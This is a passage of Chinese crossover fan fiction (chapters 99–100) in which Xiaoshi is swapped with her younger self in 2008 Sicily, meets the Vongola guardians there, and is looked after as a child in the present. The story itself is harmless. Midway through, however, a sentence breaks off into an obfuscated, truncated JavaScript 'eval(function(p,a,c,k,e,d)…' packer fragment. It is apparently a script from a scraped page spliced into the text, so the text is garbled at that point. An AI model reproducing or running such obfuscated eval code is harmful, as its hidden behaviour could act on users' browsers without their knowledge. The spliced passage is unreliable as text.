“我和小惠也是你和你姐play里的一环吗?”直觉告诉小莳这姑娘绝对不像真希说的一样【她应该讨厌我。应该是讨厌、不耻和一点依恋,我们的感情就是这样扭曲】,东亚的关系里,爱与恨的转化率比人们以为得高得多,现在她见到了禅院真依,更是确信,自己当时和野蔷薇说的没错。 没想到喜欢A但是要用B来作掩护这种早就不流行的元素会在身边看见,但考虑到这是现代化程度过低的禅院家,好像也没那么奇怪。 小莳哼了一声。 禅院真依不悦:“你什么意思?” “认识了十几年的人,怎么还要我告诉你捏?”别做这些有的没的,先把关系给定了。认识两个月就确定关系的恋爱大师在心里给出自己的忠告。 无人知晓。 她做了个鬼脸,禅院真依愣在原地,没给反应。 回高专的车上,她和五条悟说自己很喜欢握手会,下午后半段发生的事情很有趣。 “说不定你还真是会谈恋爱,我之前还给你和小惠捏了把汗。来栖华……我早就说惠以后会很受女人欢迎!” 小莳问他:“有多早?” “就是来栖华那次。那孩子只记得惠和他的玉犬了,明明打电话的是我。” 她解释:“你年纪太大了,而且那可是狗狗,谁能拒绝一只毛绒绒的玉犬?”虽然她没见过,但是没人能。 “伏黑甚尔也不小吧!” “你懂的,他比较受女人欢迎,家系遗传。” “……”好好好,在这等他是吧,就他不受女人欢迎? 99. 第 99 章 在那之后她有见过禅院真依两面,两次对方都不是很高兴。有一天许久未见的与幸吉都跑过来联系她问这是怎么一回事。 小莳对这个按理说应该是所有物、但实际上只在她手下干了两个月在那之后就一直在过梦寐以求学习恋爱两不误高中生活的不称职小弟当然是什么都没说。实际上她去了京都,禅院家。 起因是在一几天的休息日(随时待命)中,伏黑惠被禅院直毘人邀请去禅院家小住两天,他同意了。与此同时,小莳享受了在米花町那一阵毛利兰的待遇--她会被声名在外的侦探父亲以委托外出但不放心女儿在家的理由带出去免费吃喝。她在几天后有了去禅院家的安排,不过不是跟着伏黑惠去的。 她搭着风纪集团的飞机前往京都。恭弥似乎和禅院家家主和他的儿子都有点联系,但论交情,也就只是和直毘人。 小莳出行前还和伏黑甚尔热烈地讨论了一下关于这个没见过面的继承人之一:“他的儿子,禅院直哉?真希好像很讨厌他,说了几句话的禅院真依对他也……如果未婚夫足够好,她当也不会觉得自己小侄子是个适合的对象。” “没听说过这个名字。”伏黑甚尔的兴趣全在小莳晃来晃去的手指上,还有部分分给了手里在削的苹果,“她小侄子是谁?” “哦,你儿子。从亲缘角度上说,真希姐妹应该是你堂妹呢!” 起猛了,但是一想到事情出在禅院家,也不奇怪,伏黑甚尔切了一块苹果填到小莳张开地嘴里:“那她应该更努力地追求真爱。”追到了也是一对佳偶,他绝对会祝福。 被投喂了,错失最佳八卦机会,但是十几秒钟的咀嚼过去,她还是泄露了这个惊天秘密:“这不过是骨科的小把戏,她真爱是你另一个堂妹。” “……” “可能双子是这样的,我不知道,因为我没有同胞而生的兄弟姐妹。” “那你对五条悟……?” “……”小莳一脸“天哪你在说什么”的表情,震惊过后才想起吞咽新的一块小兔苹果的屁股,“他在我心中是安室透那类的,你知道吗?在我的几次不垂堂异世界观光中,他还是贝尔摩德的队友,又是公安又是兼职又是在厂里干活的,你能想象这种人会钟情于谁吗?” “安室透是谁?” “做三明治比你好吃的那个咖啡店员,aka降谷零、波本。”小莳帮助健忘症患者重新回忆。 “我做的不好吃?” “与行业顶尖人才仍有一定差距。”想吃三明治配果汁了,想念阿惠,创真君还有远月其他还没见过面的厨子们了。 他在小莳的嘴唇上啄了一下:“哼,我又去不了你的领域。你应该放我进去。” “任何一个女人都值得在恋爱交往后拥有一间属于自己的居室,如果你没听说过这句话很正常,因为那是我说的。” 普通的阳光普通的木房子,除了藏书室一切都很普通,“总之你别想太多。” “那你什么时候和我做?” “……” 伏黑甚尔丢下刀,将果核咬在嘴里,一些苹果汁挂上他嘴角的伤疤:“我们已经在一起一年多了,而你和惠才在一起不到半年。” “这可不是工龄,还能累计的。” “那看什么?感情?你对我没感情吗?我想要你。”他又甩开了果核,和求偶对象交换了一个苹果一样酸甜的吻。 “那你想吧。”她咬了一下他的舌尖,没用劲,但对方嘶了一声。他装的。 最后她说:“我还没想好,我不能做让自己后悔的事情。你等通知吧。”就离开了并盛。 而伏黑甚尔大概气昏了。 在飞机上,她还偶遇了--其实不是偶遇,搭便车的夏油杰,他去五条家。 “真不错,改天我也去找你们玩。” “真的?你真的会去吗?”夏油杰深表怀疑,他在飞机上看着窗外,只能看见机翼和蓝天和云。 “客套话,你当没听过就行。我讨厌京都,但人总要面对内心的恐惧。”说不上恐惧,她就当观光旅游了,但以前的讨厌不假。 云雀恭弥在房间里小憩,两位客人就只好在机身的空旷吧台附近闲聊。 “因为你父亲,赤司征臣?” “差不多吧,穿个和服感觉下一秒就要去参加孩子成人礼了。也许你会很好奇为什么一个18岁妙龄少女一下就把自己的人生望到了几十年后,别好奇,因为京都的大家族们在女人眼中就是这样的。我可以轻而易举地看到四十岁的我,五十岁的我,六十岁的我,因为【所有人都是这样的】,我也不会例外。” “你说话像七海,所以他逃走了。” “还是有本质差别的。”小莳指出,她发现只要夏油杰想,话题总能被他牵引到人生观价值观,不过她现在不太避讳在他面前谈这个:“他擅长做个咒术师,但我不擅长他们给划定的人生。我其实……不像你一样擅长人际交往。” “哦?你觉得我交际能力很强?” 毫无疑问,他可是做过教主的人,各界社会名流不在话下,甚至还榨干过几个小财团,把他们的法人也噶了。而小莳其实不喜欢和很多人打交道,“当然,当然,当别人对我有所图谋,我的沟通欲望会迅速消减,所以……现在身边都是好人,我喜欢好人,不嫌多。但对感觉糟糕的人没什么虚与委蛇的兴趣,你就不会这样,没错吧。” 她没用疑问句式。 他给了个模棱两可的回答:“还行。我以前和父母关系也不太好,他们觉得我很难交流。” “哦,你确实难。”小莳丝滑接话。 “喂喂喂……这时候不应该说这些。” “怎么了,我讲的实话,就算是在高专的时候,你也是好友三人组里面最后做决定的人对吧?但家长们对话语权有一套自己的想法,更不用说你还能看到他们看不见的东西。”普通夫妇有了夏油杰这样的孩子,就像她嫁给了什么社会名流做夫人,所有人都在恭喜,说着幸运和祝福的话,但只有自己知道,根本不是那样。“在理子死后的一年,悟领悟了反转术式,当你觉得事情脱离想象的时候,你会觉得恐惧吗?你会想做出尝试来弥补落差让事情变成【本来应该我们比肩】的样子吗?” “……你讲话还真是直白,我错的太多了。”夏油杰尝试过,咒灵自助餐不太好吃,但他不想落后太多还在追赶,后来就…… “哦,对我来说没什么关系啦。”就她而言,夏油杰犯了一个错误,但这不代表什么。不过他父母可能不这么想,地图上都显示不出来的村还有囚禁小女孩,死了也就是死了,只不过可能一下干掉的有点多。 他说:“所以我才只对你说这些。” “哦?和悟也没有说吗?”小莳想,如果是这样的话她就不一边分心一边听了,她认真听。 “……对。” “好,那你说吧。”愿闻其详。 好友的谈心进行到夏油杰说自己坦白能看见可怖的物种时父母担忧儿子又害怕自己生了个怪胎的古怪面孔,飞机上发生了一起小型爆炸。 粉红色的烟雾散去后,云雀恭弥持着浮萍拐面色不虞走出房间,在他和夏油杰的目光下,一个捧着厚重书籍的白发小女孩穿得破破烂烂,光脚赤膊坐在地板上。 她皱着眉头扔出两枚圆形的东西。 “等等--” 夏油杰在瓦利亚呆了有一段时间,他的反应速度堪称专业,他让云雀开匣,让小卷吃下足以让飞机断成两截的爆破物。 云雀恭弥语气危险:“真不错,你还会指挥人了,夏油。” “……你有头绪吗?眼下的情况。” “哼,”云雀看着码放出小刀的小女孩,嘴角勾起一个遇见熟人的弧度,“好久不见,小莳。” 没人理他。 夏油杰这才想起来,有传说中名为【十年后火箭炮】的器物。而在十年前……波维诺家的蓝波也还是个小孩,不愿意交出来。还没被彭格列收容。 等五分钟就好了,应该。 在吧台和餐厅都被小刀和飞针扎过一遍后,夏油杰意识到事情并不那么简单,而他在天上飞的29岁成年人集团领导,还在逗小孩--以一种挑衅和喂招的形式。 小莳确实是个杀手,而彭格列也确实从小孩抓起。她还是十年后更好相处。夏油杰联想起她说过的【我小时候有一点难带】 岂止一点。 * 小莳本来在靠椅上做的好好的,面前还有一杯冒着热气的茶,她想等凉点喝。一转眼就失控跌坐在了地上,面前是个奶牛服装的小朋友。 童年的记忆突然开始攻击她。 小莳知道在蓝波的头发里一定有糖果。她在抗拒的眼泪和鼻涕中将脏乱差小朋友储藏的家当抖得一干二净,挑了一颗草莓,一颗苹果的塞进兜里,这可是她第一次来十年前! 说来确实,她有过一段时空穿越的模糊记忆,只是印象是在7岁,她以为是因为17岁的自己在米花信号失联而导致错过,没想到是十年后的日期又推迟了一波。 “蓝波大人,要、忍、耐,忍不了了!!!!” 骨残像指环抵消了大部分雷电,余下的一点把攻击者的头发点糊了。蓝波的尖叫声吸引来了一大帮人--这里原本是她的垃圾场,平常没什么人靠近。 首先出现的是年轻的左右手狱寺隼人,他捏着炸药就来了,发誓一定要把乱闯禁地的蠢牛打一顿,十代目拦都不好使。 小莳和他打了招呼。 “我是十年后的小莳,这些年承蒙关照啦,隼人。”17岁的隼人身上少了点公司高管的沉稳气质,全都被不良少年的暴躁感替代。 他看上去惊讶极了。“你是……小莳?你看上去变了好多。” “是啊,如果我和7岁一样的话,岂不就受诅咒了。就像玛蒙那样。”她叉腰,“我现在可是18,应该比你还大一岁。我要见阿纲,我要做姐姐。” “……”这小怪胎活泼过头了,狱寺隼人拨通了十代目的老师的电话,身份证明上的年纪是7,也是她未来的老师。 “我们要去见里包恩吗?” “不,在那之前你就会回到属于你的时代,我在如实汇报火箭筒的滥用,事实上,蠢牛承诺过,如果有一次没控制好火箭筒---” “我想起来了,就会被家族收缴。对吧?不过这次大约会超过5分钟,因为我记得小时候那次冒险持续了挺久时间的。虽然完全没印象发生了什么。”再后来,她前往领域内的藏书室时有特意翻找过七八岁的记忆,却没看见关于前往十年后的那段生活,就像被谁抹去了一样。 “所以……” “所以,也有我泽田小莳做长姐的一天呢!” “不是你到底是怎么得出这个结论的?!” “一个家庭里,大的那个才是长兄或者长姐对吧?我今年18,我是姐姐,没错吧?” “你都不是亲生的。”狱寺隼人这么说,他的眼睛盯向小莳的手指,上面的戒指是……玛雷指环、地狱之眼以及骨残像。没有一个来源是值得信赖的。 哦呼,事情变得和想象中的合家欢乐不一样。 “我知道你很急,但是你先别急,你不信任我也是正常的,但是你的意见不重要。” 一句话让情况急转直下,隼人的小小火箭筒炮弹最终还是派上了用场。17岁的彭格列们终究还是年轻气盛,小莳觉得自己回去又有了很多谈资。 她第二个见到的是里包恩,对方的子弹毫不留情,让她想到自己悲惨的13岁。身后的蓝波也一点没被顾及,小莳念在这是自己忠实的仆人,抱起这个小孩躲过了大部分攻击,然后按照规划的路线来到未来的老师面前:“我没反水、没篡位也没加入什么奇奇怪怪的势力,只是在飞机上被调换到了这里,超直感呢?让超直感救救。” 泽田纲吉在并盛探亲。这里是意大利彭格列总部。 小莳绝对不要被当成待定的囚徒一样关起来,“那你们送我去吉留涅罗,就因为没有雾守指环就被这样对待,我伤心了!!” 狱寺隼人在这时表现得相当冷酷:“你既不是我们信赖的同伴,也没有可依托的信物,从三年前到现在没为家族做过任何贡献。恕我直言,没人愿意相信你。” “你指望一个4岁小女孩做什么……”如果是其他什么人说这句话,小莳绝对会生气,但那毕竟是狱寺隼人,“隼人,你以前对我可好了。”关系第二好的守护者。 “但是--你对我再好也没办法抵消今天的恶语相向的伤害,就让我们用彭格列的传统方式解决这件事情。”小莳点燃火炎,准备开匣放奈亚。 狱寺隼人警惕地也点燃自己的火焰。 无事发生。 “呃,我的匣兵器们好像还没被发明出来。”糟糕,这样就没办法以压倒性的胜利获胜了,小莳躲过了C.A.I瞄准系统打过来的第一炮。 对方一点不留情。 真是新奇,她以前从来不参加打架项目,而且大家的态度明显比这会好太多了,小莳以为自己是很受欢迎的,至少比蓝波受欢迎很多。没想到是根本被当成了奇怪的家伙,没人把她当作伙伴嘛! 五分钟后,她的膝盖锁住狱寺隼人的咽喉,坐在他还不太健硕的身躯上,他的手腕脚腕被幻觉实体化的锁链钳制,动弹便发出叮叮当当的声音,并且只能移动分毫。 “你已经死了,尸体是不可以说话的。现在听我说,我小时候你对我很友好,你会帮我买gelato,在你手上化了你也不会发脾气,我不理你的时候你也会和我说话,而且你根本不会对我发火,也不会说你根本不信任我!狱寺隼人,你现在太坏了!我对你好失望。” 除了不会发火那句,其他几乎都是真的,隼人有的时候控制不了脾气,小莳只是帮他美化一下,给他一个美好的目标,顺便给小时候不知道为什么不太讨喜的自己降低一下人生难度。 Emm,也算是一种旅程的乐趣?去不了京都也不是什么损失。 “你这家伙,怎么会这么强。” “清醒点,狱寺,你眼前的人可是比你还要多出【一些年头】。你已经能够接受那段记忆了吗,小莳?” 还是活得久的人比较聪明,小莳站起身:“托家族成员的福,10岁就恢复正常了,结果火箭筒过来一看……和我记忆力一点也不一样啊。我不是应该很受欢迎么。” 结果她也被当成奇怪的人了。 早知道就不嘲笑夏油杰了。 唉,失策。 身高不到小莳胸口的西装杀手用枪顶了顶自己的帽檐:“没有的事,你破破烂烂的,也不说话,只把你当疯了的自闭症儿童的人比较多。” 坏了,比怪胎还古怪,是可悲的疯子。 在这个世界有一点点水土不服,小莳想回家。至少那边有个温暖的环境,哦对,她还有了对象。 “看来在见到阿纲之前,就只有蓝波是我忠实的仆人这一点不会变了。”生活不易,小莳叹气。 “蓝波大人要回家,哇啊啊啊啊,不要和怪人在一起!” 小莳面无表情地把他打晕了。 她提要求:“今晚我想睡七楼,最西面的房间,就是有伊甸园壁画的那个。” 里包恩说可以。 他们又聊了一会,关于未来的关系,同伴们的交情,净是些不涉及重要问题的细枝末节,“在你16岁的时候你们就确定关系了。阿纲是笨蛋,所以花了好久。”而小莳觉得他很早之前就喜欢上他了,“但是碧洋琪有些伤心,绅士不应该做那种事,你可以早点。” 里包恩说:“是么。” “你可以对我好点,你以前可喜欢我了。”其实没有,小莳体会了一把养娃然后在老师面前一派胡言只希望小孩能被好好对待的艰辛。 毕竟是小时候的自己,她得好好应对。 “我会读心术。” “那你一定能看出来我只是话里掺水了,而且你根本没有,只有哥哥信你。”小莳拍了拍未来老师的肩膀,她原本想摸摸头的,但若那样一定会遭遇很可怕的事情,“你们真的只当十年前的我是讨厌的家伙吗?” “差不多吧,不过家族里有不少资源供你浪费,只有废柴纲那个老好人还有妈妈想保护你。” 小莳有点失望,不过孝心又变多了:“果然维系家庭稳定的是奈奈,我们不是三年前还并肩作战去未来的吗?我记得和阿武还有恭弥关系都挺好呢。” 年幼的杀手语言精简:“那是平行世界的你,江口小莳,从你得到记忆并且失控开始,你就不是他们认识的同伴了。” “……真是冷酷。”mafia的世界还真是对孩子都很严肃。但确实……蓝波一平早早就就业了,在她还在地上爬且不识字的年龄。 十年前的意大利,是个伤心地。 “喂,我呢?你把幻术解开啊?这种程度的实体化---”狱寺撞上了小莳的心情低落moment,她没心情帮他。 “明天太阳升起的时候它们就会消失了,你在地板上将就一夜。”而她,要先在浴缸里泡一会,用橙花的清新和丁香的馥郁缓解舟车劳顿。虽然也没做什么,但疲惫。 * 前往京都的飞机掉到了海里,终于。 夏油杰一点也不觉得奇怪,能在各轮幻术武器和匣兵器小卷的充气膨胀下坚持飞到不会造成伤亡的海面上,这才是奇迹。 飞机上只有两艘充气艇,原本有一艘是独属于云雀恭弥的,因为他不爱群聚。现在的情况却成了:小莳一艘、夏油杰、云雀、草璧三人共享一艘。 她不喜欢别人在她旁边。这个年仅8岁的小女孩是真的会应激,成年人云雀恭弥选择将就。 夏油杰给在本家的挚友打了一通卫星电话,草璧身上真是什么都有。那孩子与他们越飘越远,他与草璧都不认为贸然接近是好事,在岸极远的海上,失去漂浮的小船会令人不安,并且他目前还没收集到可以在海上航行的咒灵。 草璧联络了远在意大利的彭格列家族成员。 * 从窗户往外,可以看到几个街区外繁华的街景,升腾的烟火气。熟悉的景色,熟悉的视野,但是这里是陌生的地方。 她有一点忧愁:“和说好的完全不一样啊,还不如去禅院家。”不过人家也没特意邀请她就是了,她只是恭弥的顺便。 不知道飞机有没有延误,她以前有点孤僻,不太爱说话。 小莳一觉睡到了大天亮。 早饭时间,她见到了归来交接的山本武。“你是……白兰的朋友吗?”他的神经一如既往大条,并且学会了意大利语,讲得不赖。 被臭着脸吃面包的狱寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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用餐完毕后小莳就离开了,昨天这个时候她还高高兴兴地在和真希聊天,告知她自己的京都之行,“提前帮家主大人踩点。”然后她发了条语音消息发誓,如果小莳再拿这个调侃她就绝交。然后小莳才乖乖把话题转到禅院真依身上去--也是对方不愿意提及的另一件事情。 但是今天,小莳意识到自己对于更小时候的自己来说是个大人,按照七海的话来说,担任就是应当承担更多。她以前的任务,只要是和七海一起执行的,对方都会主动完成包括报告在内的大部分工作,不用她多说一句话。她也乐于享受这一切优待--但对七海来说这只是【职责范围内应该做的事情】。 就算不乐意,就算不喜欢,她也要承担起一些责任了,至少--要让回来以后的十年前的她有个不太糟糕的生活环境。 小莳去了钟楼,那里很破,很高,看得出岁月的痕迹,和无人打理的颓败。并且还有幻术残余的力量,多半是十年前的她身上逸散出来的,难以控制的火炎。 她记得自己创造出奈亚是在10岁左右,在那之前身边就有多余的雾之火焰凝结成了类似于奈奈形象的女人,一直跟在身后,在那之前的日子里……是真没人打扫卫生和清洁。 18岁的小莳在扫去走廊积攒已久的尘垢以后,产生了一种类似于现实文学中十指不沾阳春水的姑娘在过不上好日子后每天灰扑扑地落魄劳动既视感。 最后还得劝自己,一切为了孩子。 在2008年的西西里岛,咒力还没有被发明出来,打扫卫生劳心且劳力。中午的时候她就拿了一本拉丁语古籍坐在高高的窗台上,双腿露在墙外,眼中除了书上的文字,就是下面一片低矮的楼;傍晚时分她拄着幻化出来的拖把,把它当成拐杖,半个身体的重量都挂在它上面。 “需要帮忙吗?” “谢谢,不用。”小莳很礼貌。 “这边危险的感觉散去不少,我来看看你,听小婴儿说我们以后关系很好,是吗?”山本武听她拒绝,就收回了手,小莳有点失望,但是她不说。她下定决心在2008年要做个懂事柔顺的女孩子。一是为了表现自己值得投资的一面,二是在这里也呆不长,三是……这地方真的又脏又乱,她想让自己好过点。 最极端的条件下,如果世界上只能有一个人爱她,毫无疑问她甚至不会决定那个人是奈奈,她会选择自己。 小莳说:“你是守护者里我第二喜欢的。” 五条悟的第二喜欢定律相当有粗放的智慧,这也是小莳在一天的体力劳动中通过直觉与理性共同得出的结论。说最喜欢听起来就不真,但第二就更可信;守护者一共有六个,排名第二是相当好的成绩,也能表现出良好的人际关系;她决定和所有人都这么说。 在未来,大家的好关系毋庸置疑,小莳是一点紧迫感也没有的,现在:真正意义上的时代变了,来点无伤大雅的谎言胶着空隙,填补一下裂缝是智慧之举,这点应是最正义之人也没办法指摘的。 山本武笑得很开心,他的笑容比成年后的更爽朗:“你过得好吗?” “确实相当好,所以才想为小时候的自己和你们做点什么。老实说我不太清楚7、8岁的事情了,但我知道10岁以后我是很受欢迎的,这会算时间应该是升学又加上北部叛乱,但是不用担心,最艰难的日子已经在半年前结束了。”小莳掐指一算,对照彭格列大事年表,让这位家族责任感与日俱增的剑豪放心,“你们也很好,大家都建在,轮流排班和首领困觉,以及我不爱吃生食,但我,额……情人有时会光顾竹寿司,叔叔的生意和健康状况都不错,只不过他有点眼馋拉面店的小助手。” 没有老板会不喜欢灰原雄,没有。 “童话一样的发展,真好。”他被小莳主动剧透了在意的一切,笑容堪称天真,“你和我们想象中完全不一样,我很高兴,小莳。你终将会成为我们的同伴。” 这就难说了,现在人都在西西里半隐退,不过小莳知道,这算是他做出的一个关于十年前的她的承诺。也许就像夏油杰的父母觉得他不好沟通一样,这个时代的彭格列也是这么看待她的。 山本武一边看着她整理书柜和清扫地板,一边搬了张凳子坐下,他的情商令人感动。但是俗话说的好,一切为了孩子。小莳就听他说着早上乍一见面时似乎见到了白兰,又说白兰在和西蒙家族那次帮了大忙,他说平行世界的人实际上是不同的,所以即使是给世界带来过伤疤的人都能改邪归正,更何况是不应该为别人的过错而负责的小莳。 能说出这样的话,他已经有了点未来的影子,未来的阿武会看着她抹地板吗?这很难说,因为她不做家务。“之前的危机感是真实的,现在的理解也是真实的,只是我们之前不知道该怎么和你相处,你仅仅勉强愿意和泽田阿姨说话,所以请别太在意狱寺那家伙说的,你知道,他在不是大危机面前都冷静不下来。现在头脑偶尔也还是冲动……” “不愧是红蓝夹心,”小莳听到一半就忍不住竖起大拇指,是情敌,是朋友,是同学,后面忘了,“被你这么说是狱寺至高无上的荣誉。” “你说的夹心是--?” “就是你想的那个意思。”小莳低下头捡起一摞书,一看书名,鉴定为不适合小朋友阅览的,“能帮忙送到最上层吗?”她够不到。 那就几乎可以确定十年前的她也够不到。 * 夏油杰以为自己是个很擅长带小孩的人,因为他算是从小带到大的枷场姐妹都很听话,就算是思想意识要早于重大转变的时候也是如此,这对孩子来说是极其难得的……他也上过高中,那阵子,人的思想就会有点……轴。所以他觉得自己一定是很有一套教育学方法,才能让两个孩子变成如今这样。 这一观念在他见到传说中十年前的小莳后有所动摇。 他开始回忆,在那天的那个村庄里,被囚禁在木笼里的菜菜子和美美子,她们的眼神有这么……凶狠吗?他以为小莳在小时候可能只是像悟一样,有点调皮而已。悟大概是被惯坏了,小莳亦如是。 他在岸边等到了姗姗来迟的挚友和挚友怀里的小丫头。 夏油杰见过很多奇妙的景象,但是海浪从浪花处冻结成冰,再蔓延到潮水深处,每一片白色的水和蓝色的水都保持在扑打来的样子。如此不可能之景他是头一次见到。 那股力量来源于在挚友身上留下了很多道印子的小孩。 “是的,因为一些灵魂上面的因素,无下限有的时候不管用。”五条悟松开夹着小莳的胳膊,改为揪衣领了,他像拎小猫后颈一样提着她。刚刚在海里尝试过了,他也进不了她的精神世界。 根据曾经在梦中看见的东西,五条悟和夏油杰说:“她现在应该听不见我们说话,就像红绿色盲的患者会过滤颜色,我们都被她【过滤】掉了。”她的脑子里应当是一片混沌,也可能是什么都有的色彩缤纷。 夏油杰想,这孩子还真是让人……有点喜欢不起来,这么一对比小莳懂事得多,不过她本来就懂事。“你在给谁打电话?” “喂,小惠吗?不是任务,不过你的休假确实大概也许可能要到此为止了,在禅院家玩得开心吗?不开心正好,我给你发个地址。”在挂电话后五条悟解释:“给他们一个增进感情的机会,我觉得脱兔还挺适合这种场景的,你是知道的吧?我们家小莳以后会很喜欢兔子呢!” 夏油杰:“……” “简直是命运的安排。”右手握拳敲左掌,一锤定音。 100. 第 100 章 小莳在十年前的生活稳中向好,在她回到过去的第三天,已经见过了除屉川了平外的所有守护者。恭弥居然会特意为了她离开并盛,还出国,感动。 虽然他看起来不太喜欢她,有点失望的样子。对十年后的事情也完全不感兴趣。 但小莳已经认定了这位必定是在小时候最喜欢自己的守护者,因为他过来了,见过了她,又什么都不做,也没离开总部。 小莳是爬窗户进他房间的:“你不好奇风纪集团的发展吗?” “没兴趣知道,你别吵我午觉。”云雀恭弥还没决定要在并盛起家建立事业,也不想被十年后的未来束缚。 “你知道的,所有守护者里我第二喜欢你了!” 他打了个喷嚏,“关窗,然后离开。如果你不能战斗的话,我对你没兴趣。” “我昨天把狱寺锁在地上了。”小莳翻身整个人都进来,悄无声息地落地,她将自己的耳环摘下:“这么多年承蒙关照,我们浅浅切磋一下?” “哦呀,有趣。但是你若了解我,应该知道,午睡时候的我,可是火气很大的。”最后半句话和浮萍拐一路顺风来到小莳面前,她蹲下,横扫,拽着云雀的脚踝进了幻境。 如果把房间给拆了说不定会破坏和家族还不那么深厚的情谊,小莳是知道寄人篱下的规则的,或者说没见过猪跑至少吃过猪肉。空气扭曲震动的风撕扯着小莳的皮肤,她躲过一波又一波进攻,也适时发动反击给不知疲倦的进攻者带来身体上的负担。 她所持的是利刃与长棍。 最后不出意料挂了彩,还输了。云雀给了一个保守的评价,他说还可以,但小莳知道他获得了一些乐趣。西西里的今天也是反转术式发明前的日子,开始想念它了。 幻术总归是虚假的造物,治愈给人喘口气的间歇,但不能久存,实打实的治疗才最让人放心。说到这里,不知道与幸吉怎么样,会不会在路上走着走着就瘫痪了? 恭弥说她还是小时候更有趣。 要是她第一个遇见的是他该多好,心情上就会开朗不少。蓝波和隼人,哼,不想也罢。 小莳和骸的相会总在梦中,免不了一番你来我往的语言挑拨。她又不是个喜欢藏私的,骸想知道的信息她透露了大半,“对于想要改变的人来说,知晓未来是一种诅咒,但就我而言,我很高兴这些人都到轮回中去了。” 小莳保持礼貌没有笑出声,实际上心里已经把这个恨黑手党(彭格列除外)的暗黑夹心组成员编排了个遍,有一种冷脸做劳工的美。 “你在想什么失礼的事情,表情藏不住了,kufufu。” “没有,这么多年承蒙关照,你是我在守护者里第一喜欢的。”其他人都是第二,但六道骸有数不清的情报来源,从他是后几天出现的就应当清楚,他是收集了信息准备万全后才谨慎地造访她的梦境。 第一的名额就留给他,这才是最稳妥的决定。 也不知道他信没信,但看起来并不开心。 他说:“你比库洛姆棘手太多,我也没办法干预。”这是一个请人帮忙,对方推辞能力不足的场景。 小莳开心了,这至少不是一句“我不想帮忙”的拒绝,她于是笑嘻嘻和对方解释:“我会自己调理好的,不过在那之后,你也多来找我玩嘛~你知道的,小时候的我比较害羞,不善言辞。” 六道骸才是相比之下不善言辞的人,他一脸嫌弃地离开了。 他是个傲娇,当他笑眯眯的时候,一切尽在掌握中;当他不笑,展露真实情绪了,反而才是对小莳比较有利的。 哎,她为养孩子真的付出了太多,谁来不说一句伟大。苦心经营四个日夜,总算是勉强挽回了一点正面形象。最省心的还是恭弥,她回去以后再也不说他坏话了。 他是她最敬爱的嫂子。 * 除了泽田奈奈,小莳不喜欢任何人,云雀恭弥是这么说的。当天很晚很晚的时候,她在酒店里,在脱兔的包裹中睡着了。 “我就说她喜欢兔子。” 一伙人在外面大声密谋接下来的事情。 “小莳到过去会有多久?” “不太清楚,我只去意大利了一两天,然后就回并盛了。”云雀恭弥解释,“上学。” “……”悟和伏黑惠不清楚很正常,但夏油杰知道,他根本不上学。 五条悟拍了拍学生的肩:“往好的地方看,小莳至少不讨厌你。” “就算你这么说我也不会变高兴的。”伏黑惠把散落下的一只小兔塞回兔墙上,“接下来怎么办?这里是名古屋,离并盛不近,交通是个问题。” 五条悟提出可以把危险分子放后备箱隔离,他有九成把握大家都能存活,被学生拽住了胳膊,眼神里有警告。 “最好也别直接回并盛,泽田先生……在她小时候和她关系不太好。”这还是夏油杰委婉的说法。 于是泽田家光在亲儿子的电话后连夜离开并盛,泽田家在第二天多了些客人。 被伏黑惠牵着的小女孩一下挣开了握着她的手,直冲着泽田奈奈的腿抱过去。 “呀,这孩子真像以前的小莳。” 夏油杰想起了几个月前的新年,这位女士也是这么说美美子。嗯,这副有点自闭闷不吭声,但失去了攻击性的样子,还真是! 那会小莳是一脸拒绝的,他也觉得是奈奈女士想多了,如今看来,倒也和她看得差不多。 她叫她妈妈。 奈奈蹲下来指正:“哎呀,我这个年纪已经够做奶奶了。如果纲吉君有个孩子,现在也应该只比你小一点点。” 她还是喊妈妈。 五条悟说这是自己的家里亲戚,因为不方便带孩子想让她在这里借宿两天。在伏黑惠的瞠目结舌中,泽田奈奈爽快地同意了。“这两天小奈亚没有来,亲爱的也临时有事出差了,家里全都是空房间。但是小朋友你的话,住小莳的房间也可以呀。” 她还和伏黑惠热情地打了招呼,他解释自己是来并盛调查研究野生动物情况,这是课题研究,小莳不在他们小组。他也被允诺了一个客房。 楼梯上,伏黑惠问:“你认识泽田阿姨?” 五条悟说,见了不到十面,对方就很放心的把女儿交给他了。 “……” “你的好朋友劝你别总是生气,而且没有老师我你们怎么会见面。你就感恩戴德接受这件事呐!”他说的是虎杖。 幼儿版本的小莳在伏黑惠的旁边待得一点不安分,一门心思往房间里冲,她进去后还锁了门。伏黑惠知道这不是什么大事,但他仍然有些失落。 这里不是空旷的钟楼,房间也很小,也许有人会称之为温馨,但不包括她--仅仅只是房价太高没钱支付更大面积的产物。奇怪的刘海、不正常的白毛、可疑的海胆头,还有云雀恭弥,小莳分了点神给十年后的世界。 这里和就十年前没什么两样,她什么也感觉不到。小莳是个不会客气的人,她动手翻起了床底下的柜子、书架、桌子上的稿纸、抽屉里的文件。平滑的信息河流汇海一样联向她的大脑。 那边伏黑惠在老师的劝阻下。最终还是发了一则消息在一条街内的刚买房子的邻居。 聪明的教师不留余力地蛐蛐:“你在这里做正人君子,他绝对会一有机会就把你踹了。” “哦。” “这房间装不下第五个人了。”夏油杰也给出了自己公允的评价,他,挚友,草璧,男朋友,不愿意群聚的云雀在送人来后就不堪忍受离开了泽田宅。他们所在的是被改造成客房的小小储物间,有的时候,这里总会特别热闹,需要更多的房间。 伏黑甚尔来的时候静悄悄,他是五人中最擅长偷鸡摸狗之人--其实他也没做过,不过天赋如此。而且他以前做过刺客工作,也能说精于此道。 他五感极佳,贴着墙面听了一会,下结论:“有纸的摩擦声,她在看书。” 问题就来到了,她的房间里有什么? 伏黑甚尔:“医学周刊、造物正在处理的文件归档、怪奇小说,还有一些图纸和学校的作业。似乎是受到反转术式的启发,想要设计一款能够以死气之炎驱动的疗愈匣兵器。” “呃,你是?还有你为什么会知道?”草璧不认识这位。 “我帮她送过几次东西,如果文件多就顺便收拾一下。” “然后顺便把她的东西翻了个遍?真是坏东西,你说对吧,小惠!” “……闭嘴,笨蛋教师。” 伏黑甚尔起身,所有人的目光都聚集在他身上,他说:“我从窗户外面看一眼,她反侦察能力很糟糕。” * 